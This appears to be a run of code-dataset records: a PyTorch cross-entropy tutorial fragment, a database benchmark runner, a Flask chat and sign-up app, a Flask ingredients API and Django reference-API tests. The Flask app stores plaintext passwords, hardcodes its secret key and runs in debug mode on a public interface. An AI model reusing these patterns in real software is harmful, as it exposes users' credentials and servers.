log(1 - b) 其中 a = P (m) b = Q(m)\n# 得到的熵越小，表示P和Q越接近， 越接近真值\n\n# 交叉熵不会出现sigmoid + MSE中会出现的饱和，梯度消失等问题\n# 梯度更为明显，收敛更快\n# 但是当交叉熵效果不好时可以对MSE进行尝试，形式更为简单\n\n# numerical stability 数值不稳定问题\n# 一般情况下把soft-max和log运算等都包含在cross-entropy函数里面\n\nx = torch.randn(1, 784)\nw = torch.randn(10, 784)\n\nlogits = x@w.t() # [1, 10]\npred = F.softmax(logits, dim=1) # [1, 10]\npred_log = torch.log(pred)\nprint(logits)\nprint(F.cross_entropy(logits, torch.tensor([3])))\nprint(F.nll_loss(pred_log, torch.tensor([3]))) # 结果相同，注意输入的区别 negative log likelihood loss\n\n\n", "repo_name": "YuxiangCui/Pytorch_Learning_Mac", "sub_path": "pytorch_learning_16_cross_entropy/pytorch_learning_16_cross_entropy.py", "file_name": "pytorch_learning_16_cross_entropy.py", "file_ext": "py", "file_size_in_byte": 1667, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.full", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.log2", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.log2", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.log2", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.log", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "call"}]} {"seq_id": "70559502302", "text": "import argparse\nfrom datetime import datetime\n\nfrom constants import DOCUMENT_LAYER, STANDARD_MONGO, TRANSACTIONAL_MONGO\nfrom setup import get_database, get_workload\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"-runners\",\n nargs=\"+\",\n required=True,\n choices=[DOCUMENT_LAYER, STANDARD_MONGO, TRANSACTIONAL_MONGO],\n)\nparser.add_argument(\n \"-workloads\", nargs=\"+\", required=True, choices=[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]\n)\nparser.add_argument(\"-num_runs\", type=int)\nparser.add_argument(\"-no_write\", action=\"store_false\")\n\nargs = parser.parse_args()\n\nprint(args.runners)\nprint(args.workloads)\nprint(f\"Number of runs per workload: {args.num_runs if args.num_runs else 5}\")\n\nprint()\nnow = datetime.now()\n\n\nfor runner in args.runners:\n print(\n f\"🚀 Running {len(args.workloads)} workload{'s' if len(args.workloads) > 1 else ''} on runner {runner}\"\n )\n print()\n db = get_database(runner)\n for wl in args.workloads:\n print(f\"== 👨‍🎓 Preparing workload {wl.upper()} ==\")\n print()\n workload = get_workload(wl, db, runner)\n workload.benchmark(now, args.num_runs, args.no_write)\n", "repo_name": "edvardvb/fdb-benchmarks", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "constants.DOCUMENT_LAYER", "line_number": 12, "usage_type": "name"}, {"api_name": "constants.STANDARD_MONGO", "line_number": 12, "usage_type": "name"}, {"api_name": "constants.TRANSACTIONAL_MONGO", "line_number": 12, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "setup.get_database", "line_number": 35, "usage_type": "call"}, {"api_name": "setup.get_workload", "line_number": 39, "usage_type": "call"}]} {"seq_id": "5957044581", "text": "from flask import Flask, render_template, request, session, redirect, url_for\nfrom flask_socketio import join_room, leave_room, send, SocketIO\nfrom pymongo import MongoClient\n\nimport random\nfrom string import ascii_uppercase\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"hjhjsdahhds\"\nsocketio = SocketIO(app)\n\nrooms = {}\n\ndef generate_unique_code(length):\n while True:\n code = \"\"\n for _ in range(length):\n code += random.choice(ascii_uppercase)\n \n if code not in rooms:\n break\n \n return code\n\nclient = MongoClient(\"mongodb://localhost:27017/\")\ndb = client[\"signup_db\"]\ncollection = db[\"users\"]\n\nimport re # Import the regular expression module\n\nimport re # Import the regular expression module\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n if request.method == 'POST':\n email = request.form['e'] # Access the 'e' field for email\n username = request.form['u'] # Access the 'u' field for username\n password = request.form['p'] # Access the 'p' field for password\n preferred_subjects = request.form['preferred_subjects'] # New field for preferred subjects\n about_me = request.form['about_me'] # New field for about me\n education = request.form['education'] # New field for education\n\n # Check the password length and email format\n if len(password) < 8 or not re.match(r\"[^@]+@[^@]+\\.[^@]+\", email):\n return render_template('signup.html', error=\"Password must be at least 8 characters long or check the email format\")\n\n # Check if the email and username already exist in the database\n existing_user = collection.find_one({'email': email})\n existing_user_username = collection.find_one({'username': username})\n if existing_user:\n return render_template('signup.html', error=\"Email already exists\")\n if existing_user_username:\n return render_template('signup.html', error=\"Username already exists\")\n\n # If both checks pass and the email is not found in the database, insert the data into the database\n data = {\n 'email': email,\n 'username': username,\n 'password': password,\n 'preferred_subjects': preferred_subjects,\n 'about_me': about_me,\n 'education': education\n }\n collection.insert_one(data)\n return redirect(url_for('front'))\n\n return render_template('signup.html')\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"POST\":\n email = request.form[\"email\"]\n password = request.form[\"password\"]\n\n # Check if user exists in the database\n user = collection.find_one({\"email\": email, \"password\": password})\n\n if user:\n return redirect(url_for('front'))\n else:\n return redirect(url_for('dashboard'))\n\n return render_template(\"login.html\")\n\n\n\n\n\n\n@app.route(\"/\")\ndef dashboard():\n return render_template(\"frontpage.html\")\n\n@app.route(\"/home\", methods=[\"POST\", \"GET\"])\ndef home():\n session.clear()\n if request.method == \"POST\":\n name = request.form.get(\"name\")\n code = request.form.get(\"code\")\n join = request.form.get(\"join\", False)\n create = request.form.get(\"create\", False)\n\n if not name:\n return render_template(\"home.html\", error=\"Please enter a name.\", code=code, name=name)\n\n if join != False and not code:\n return render_template(\"home.html\", error=\"Please enter a room code.\", code=code, name=name)\n \n room = code\n if create != False:\n room = generate_unique_code(4)\n rooms[room] = {\"members\": 0, \"messages\": []}\n elif code not in rooms:\n return render_template(\"home.html\", error=\"Room does not exist.\", code=code, name=name)\n \n session[\"room\"] = room\n session[\"name\"] = name\n return redirect(url_for(\"room\"))\n\n return render_template(\"home.html\")\n\n@app.route(\"/room\")\ndef room():\n room = session.get(\"room\")\n if room is None or session.get(\"name\") is None or room not in rooms:\n return redirect(url_for(\"home\"))\n\n return render_template(\"room.html\", code=room, messages=rooms[room][\"messages\"])\n\n@app.route(\"/notes\")\ndef notes():\n return render_template(\"Notes.html\")\n\n@app.route(\"/front\")\ndef front():\n return render_template(\"index2.html\")\n\n@app.route(\"/premium\")\ndef premium():\n return render_template(\"premimum_trial.html\")\n\n@app.route('/profile')\ndef profile():\n return render_template(\"profile.html\")\n \n\n@socketio.on(\"message\")\ndef message(data):\n room = session.get(\"room\")\n if room not in rooms:\n return \n \n content = {\n \"name\": session.get(\"name\"),\n \"message\": data[\"data\"]\n }\n send(content, to=room)\n rooms[room][\"messages\"].append(content)\n print(f\"{session.get('name')} said: {data['data']}\")\n \n\n@socketio.on(\"connect\")\ndef connect(auth):\n room = session.get(\"room\")\n name = session.get(\"name\")\n if not room or not name:\n return\n if room not in rooms:\n leave_room(room)\n return\n \n join_room(room)\n send({\"name\": name, \"message\": \"has entered the room\"}, to=room)\n rooms[room][\"members\"] += 1\n print(f\"{name} joined room {room}\")\n\n@socketio.on(\"disconnect\")\ndef disconnect():\n room = session.get(\"room\")\n name = session.get(\"name\")\n leave_room(room)\n\n if room in rooms:\n rooms[room][\"members\"] -= 1\n if rooms[room][\"members\"] <= 0:\n del rooms[room]\n \n send({\"name\": name, \"message\": \"has left the room\"}, to=room)\n print(f\"{name} has left the room {room}\")\n\n \n\nif __name__ == \"__main__\":\n socketio.run(app, debug=True, host='0.0.0.0', port=80)\n\n", "repo_name": "Harikriz05/Studybuddy", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_socketio.SocketIO", "line_number": 10, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 18, "usage_type": "call"}, {"api_name": "string.ascii_uppercase", "line_number": 18, "usage_type": "argument"}, {"api_name": "pymongo.MongoClient", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "re.match", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.session.clear", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 96, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 99, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 99, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 100, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 101, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 116, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 117, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 120, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 125, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 140, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 149, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 154, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 154, "usage_type": "name"}, {"api_name": "flask_socketio.send", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 159, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 159, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 164, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 165, "usage_type": "name"}, {"api_name": "flask_socketio.leave_room", "line_number": 169, "usage_type": "call"}, {"api_name": "flask_socketio.join_room", "line_number": 172, "usage_type": "call"}, {"api_name": "flask_socketio.send", "line_number": 173, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 179, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 180, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 180, "usage_type": "name"}, {"api_name": "flask_socketio.leave_room", "line_number": 181, "usage_type": "call"}, {"api_name": "flask_socketio.send", "line_number": 188, "usage_type": "call"}]} {"seq_id": "15054974126", "text": "import sqlite3\nfrom app import api, app\nfrom flask_restplus import Resource, abort, fields, marshal\nfrom flask import request, jsonify\nfrom model import *\nfrom utils.db import *\nfrom flask_login import login_required\n\nsidebar = api.namespace('ingredients', descriptions='ingredients stuff')\n\n\n@sidebar.route('/list')\nclass sidebarList(Resource):\n @sidebar.doc(description=\"get ingredients\")\n @sidebar.marshal_with(SidebarListModel, code=200)\n @sidebar.response(400, 'Failure', ErrorMsgModel)\n @login_required\n def get(self):\n db = DB()\n res = []\n ingredients = db.select('ingredient_with_category').execute()\n if not ingredients:\n ingredients = []\n for row in ingredients:\n ingred = row['ingredients'].split(\",\")\n res.append({'type': row[\"category\"], 'ingredients': ingred})\n return dict(sidebarData=res)\n\n @sidebar.doc(description=\"Add ingredients\")\n @sidebar.expect(AddIngredientListModel)\n @sidebar.response(200, 'Success')\n @sidebar.response(400, 'Failure', ErrorMsgModel)\n @login_required\n def put(self):\n d = request.get_json()\n d = marshal(d, AddIngredientListModel, skip_none=True)\n\n db = DB()\n category_id = None\n for data in d['ingredients']:\n category_id = db.select_one(\"Category\") \\\n .where(name=data['category']).execute()\n if not category_id:\n return abort(400, message=\"category does not exist\")\n\n ingredient = db.select_one(\"Ingredient\") \\\n .where(name=data['ingredient']).execute()\n if ingredient:\n return abort(400, message=\"ingredient has alreay existed\")\n\n try:\n ingredient_id = db.insert('Ingredient') \\\n .values(name=data['ingredient'], category_id=category_id['id']) \\\n .execute()\n except sqlite3.Error:\n return abort(400, message=\"invalid data\")\n\n db.commit()\n return jsonify(message='success')\n\n\n@sidebar.route('/')\n@sidebar.doc(params={'id': 'ingredient id'})\nclass ingredientDeatil(Resource):\n\n @sidebar.doc(descriiption=\"\"\" Delete a ingredient by given id \"\"\")\n @sidebar.response(200, 'Success')\n @sidebar.response(400, 'Failure', ErrorMsgModel)\n @login_required\n def delete(self, id):\n db = DB()\n # TODO: users can only delete the ingredient they added before\n try:\n ingredient = db.select_one(\"Ingredient\") \\\n .where(id=id).execute()\n if not ingredient:\n return abort(400, message=\"ingredient not exist\")\n\n rows = db.delete('Ingredient') \\\n .where(id=id) \\\n .execute()\n except sqlite3.Error:\n return abort(400, message=\"invalid data\")\n\n db.commit()\n return jsonify(message=\"success\")\n\n\n@sidebar.route('/getall')\nclass allList(Resource):\n @sidebar.doc(description=\"get all ingredients without tags\")\n @sidebar.marshal_with(AllIngredients, code=200)\n @sidebar.response(400, 'Failure', ErrorMsgModel)\n @login_required\n def get(self):\n db = DB()\n res = []\n ingredients = db.select('ingredient').execute()\n if not ingredients:\n ingredients = []\n for row in ingredients:\n res.append(row['name'])\n db.commit()\n return dict(ingredients=res)\n\n\n@sidebar.route('/getallcategory')\nclass allCategory(Resource):\n @sidebar.doc(description=\"get all category\")\n @sidebar.marshal_with(Allcategorys, code=200)\n @sidebar.response(400, 'Failure', ErrorMsgModel)\n @login_required\n def get(self):\n db = DB()\n res = []\n ingredients = db.select('category').execute()\n if not ingredients:\n ingredients = []\n for row in ingredients:\n res.append(row['name'])\n\n res = list(set(res))\n db.commit()\n return dict(category=res)\n", "repo_name": "vickyw1112/Recipe_WEB", "sub_path": "backend/api/ingredients.py", "file_name": "ingredients.py", "file_ext": "py", "file_size_in_byte": 4024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "app.api.namespace", "line_number": 9, "usage_type": "call"}, {"api_name": "app.api", "line_number": 9, "usage_type": "name"}, {"api_name": "flask_restplus.Resource", "line_number": 13, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask_restplus.marshal", "line_number": 36, "usage_type": "call"}, {"api_name": "flask_restplus.abort", "line_number": 44, "usage_type": "call"}, {"api_name": "flask_restplus.abort", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask_restplus.abort", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 33, "usage_type": "name"}, {"api_name": "flask_restplus.Resource", "line_number": 64, "usage_type": "name"}, {"api_name": "flask_restplus.abort", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask_restplus.abort", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 86, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 69, "usage_type": "name"}, {"api_name": "flask_restplus.Resource", "line_number": 90, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 94, "usage_type": "name"}, {"api_name": "flask_restplus.Resource", "line_number": 108, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 112, "usage_type": "name"}]} {"seq_id": "28524767207", "text": "\"\"\"\nTest for reference APIs.\n\"\"\"\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\nfrom core.models import (Reference, Species, Linelist,\n SpeciesMetadata, MetaReference)\nimport tempfile\nimport os\nimport json\nfrom rdkit import Chem\nfrom rdkit.Chem import Descriptors\nimport selfies as sf\n\n\ndef create_reference(**params):\n \"\"\"Helper function to create a reference.\"\"\"\n defaults = {\n 'doi': '10.1021/acs.jcim.0c00128',\n 'ref_url': 'https://doi.org/10.1021/acs.jcim.0c00128',\n 'bibtex': 'bibtex_file',\n 'notes': 'Test reference',\n }\n defaults.update(params)\n\n return Reference.objects.create(**defaults)\n\n\ndef create_species(**params):\n \"\"\"Helper function to create a species.\"\"\"\n defaults = {\n 'name': ['common_name', 'some_name'],\n 'iupac_name': 'Test IUPAC Name',\n 'name_formula': 'Test Name Formula',\n 'name_html': 'Test Name HTML',\n 'molecular_mass': Descriptors.ExactMolWt(Chem.MolFromSmiles('C')),\n 'smiles': 'C',\n 'standard_inchi': 'Test InChI',\n 'standard_inchi_key': 'Test InChI Key',\n 'selfies': sf.encoder('C'),\n 'mol_obj': 'C',\n 'notes': 'Test Species',\n }\n defaults.update(params)\n defaults.update(molecular_mass=Descriptors.ExactMolWt(\n Chem.MolFromSmiles(defaults['smiles'])),\n selfies=sf.encoder(defaults['smiles']),\n mol_obj=defaults['smiles'])\n\n return Species.objects.create(**defaults)\n\n\ndef create_linelist(**params):\n \"\"\"Helper function to create a linelist.\"\"\"\n defaults = {\n 'linelist_name': 'Test Linelist',\n }\n defaults.update(params)\n\n return Linelist.objects.create(**defaults)\n\n\ndef create_meta(species_id, linelist_id, **params):\n \"\"\"Helper function to create a species metadata.\"\"\"\n defaults = {\n 'species_id': species_id,\n 'molecule_tag': 1,\n 'hyperfine': False,\n 'degree_of_freedom': 3,\n 'category': 'asymmetric top',\n 'partition_function': json.dumps({'300.000': '331777.6674'}),\n 'mu_a': 0.5,\n 'mu_b': 0,\n 'mu_c': 0,\n 'a_const': 0.123,\n 'b_const': 0,\n 'c_const': 0,\n 'linelist_id': linelist_id,\n 'data_date': '2020-01-01',\n 'data_contributor': 'Test Contributor',\n 'int_file': 'test_int_file',\n 'var_file': 'test_var_file',\n 'fit_file': 'test_fit_file',\n 'lin_file': 'test_lin_file',\n 'qpart_file': 'test_qpart_file',\n 'notes': 'Test Species Metadata',\n }\n defaults.update(params)\n return SpeciesMetadata.objects.create(**defaults)\n\n\ndef create_metaref(meta_id, ref_id, **params):\n \"\"\"Helper function to create a metareference.\"\"\"\n defaults = {\n 'meta_id': meta_id,\n 'ref_id': ref_id,\n 'dipole_moment': True,\n 'spectrum': False,\n 'notes': 'Test reference',\n }\n defaults.update(params)\n\n return MetaReference.objects.create(**defaults)\n\n\nclass PublicReferenceApiTests(TestCase):\n \"\"\"Test the publicly available reference API.\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_auth_required_for_post(self):\n \"\"\"Test that authentication is required for post\n creating references.\"\"\"\n url = reverse('data:reference-list')\n payload = {\n 'doi': '10.1021/acs.jcim.0c00128',\n 'ref_url': 'https://doi.org/10.1021/acs.jcim.0c00128',\n 'bibtex': 'bibtex_file',\n 'notes': 'Test reference'}\n\n response = self.client.post(url, payload)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_auth_required_for_put(self):\n \"\"\"Test that authentication is required for put\n updating references.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail', args=[reference.id])\n payload = {\n 'doi': '10.1021/acs.jcim.0c00128',\n 'ref_url': 'https://doi.org/10.1021/acs.jcim.0c00128',\n 'bibtex': 'bibtex_file',\n 'notes': 'Test reference put',\n '_change_reason': 'Test change reason'}\n\n response = self.client.put(url, payload)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_auth_required_for_patch(self):\n \"\"\"Test that authentication is required for patch\n updating references.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail', args=[reference.id])\n payload = {'doi': 'new doi', '_change_reason': 'Test change reason'}\n\n response = self.client.patch(url, payload)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_auth_required_for_delete(self):\n \"\"\"Test that authentication is required for deleting references.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail',\n args=[reference.id]) + \\\n '?delete_reason=Test delete reason'\n\n response = self.client.delete(url)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_get_reference_list(self):\n \"\"\"Test getting a list of references.\"\"\"\n create_reference(ref_url='url1')\n create_reference(ref_url='url2')\n url = reverse('data:reference-list')\n\n res = self.client.get(url)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n\n def test_get_reference_detail(self):\n \"\"\"Test getting a reference detail.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail', args=[reference.id])\n\n res = self.client.get(url)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n\n\nclass PrivateReferenceApiTests(TestCase):\n \"\"\"Test the private reference API.\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create_user(\n email='example@example.com',\n password='testpass',\n name='Test User',\n organization='Test Organization')\n self.client.force_authenticate(self.user)\n\n def test_create_reference(self):\n \"\"\"Test creating a reference.\"\"\"\n url = reverse('data:reference-list')\n with tempfile.NamedTemporaryFile(suffix='.bib') as bib_file:\n bib_file.write(b'@article{test, title={Test}}')\n bib_file.seek(0)\n payload = {\n 'doi': 'test doi',\n 'ref_url': 'test url',\n 'bibtex': bib_file,\n 'notes': 'Test reference'}\n res = self.client.post(url, payload, format='multipart')\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n reference = Reference.objects.get(id=res.data['id'])\n for k, v in payload.items():\n if k != 'bibtex':\n self.assertEqual(v, getattr(reference, k))\n self.assertIn('bibtex', res.data)\n self.assertTrue(os.path.exists(reference.bibtex.path))\n history_exists = Reference.history.filter(\n id=reference.id).exists()\n self.assertTrue(history_exists)\n reference.bibtex.delete()\n\n def test_create_reference_with_duplicate_url_fails(self):\n \"\"\"Test creating a reference with a duplicate ref_url fails.\"\"\"\n create_reference(ref_url='test url')\n url = reverse('data:reference-list')\n with tempfile.NamedTemporaryFile(suffix='.bib') as bib_file:\n bib_file.write(b'@article{test, title={Test}}')\n bib_file.seek(0)\n payload = {\n 'doi': 'test doi',\n 'ref_url': 'test url',\n 'bibtex': bib_file,\n 'notes': 'Test reference'}\n res = self.client.post(url, payload, format='multipart')\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_create_reference_with_invalid_bibtex(self):\n \"\"\"Test creating a reference with an invalid bibtex file.\"\"\"\n url = reverse('data:reference-list')\n payload = {\n 'doi': 'test doi',\n 'ref_url': 'test url',\n 'bibtex': 'invalid bibtex file',\n 'notes': 'Test reference'}\n res = self.client.post(url, payload, format='multipart')\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_partial_update(self):\n \"\"\"Test updating a reference with patch.\"\"\"\n reference = create_reference(ref_url='url')\n url = reverse('data:reference-detail', args=[reference.id])\n payload = {'doi': 'new doi', '_change_reason': 'Test change reason'}\n res = self.client.patch(url, payload)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n reference.refresh_from_db()\n for k, v in payload.items():\n if k != '_change_reason':\n self.assertEqual(v, getattr(reference, k))\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_change_reason, payload['_change_reason'])\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_user_id, self.user.id)\n history_count = Reference.history.filter(id=reference.id).count()\n self.assertEqual(history_count, 2)\n\n def test_full_update(self):\n \"\"\"Test updating a reference with put.\"\"\"\n reference = create_reference(ref_url='Original reference')\n url = reverse('data:reference-detail', args=[reference.id])\n with tempfile.NamedTemporaryFile(suffix='.bib') as bib_file:\n bib_file.write(b'@article{test, title={Test}}')\n bib_file.seek(0)\n payload = {'doi': 'Updated doi',\n 'ref_url': 'Updated reference',\n 'bibtex': bib_file,\n 'notes': 'Updated notes',\n '_change_reason': 'Test change reason'}\n res = self.client.put(url, payload, format='multipart')\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n reference.refresh_from_db()\n for k, v in payload.items():\n if k not in ['_change_reason', 'bibtex']:\n self.assertEqual(v, getattr(reference, k))\n self.assertTrue(os.path.exists(reference.bibtex.path))\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_change_reason, payload['_change_reason'])\n self.assertEqual(Reference.history.filter(id=reference.id).first(\n ).history_user_id, self.user.id)\n history_count = Reference.history.filter(id=reference.id).count()\n self.assertEqual(history_count, 2)\n reference.bibtex.delete()\n\n def test_full_update_ref_without_reason_fails(self):\n \"\"\"Test updating a reference with put without change reason fails.\"\"\"\n reference = create_reference(ref_url='Original reference')\n url = reverse('data:reference-detail', args=[reference.id])\n with tempfile.NamedTemporaryFile(suffix='.bib') as bib_file:\n bib_file.write(b'@article{test, title={Test}}')\n bib_file.seek(0)\n payload = {'doi': 'Updated doi',\n 'ref_url': 'Updated reference',\n 'bibtex': bib_file,\n 'notes': 'Updated notes'}\n res = self.client.put(url, payload, format='multipart')\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_delete_reference(self):\n \"\"\"Test deleting a reference.\"\"\"\n reference = create_reference()\n url = reverse('data:reference-detail', args=[reference.id]) + \\\n 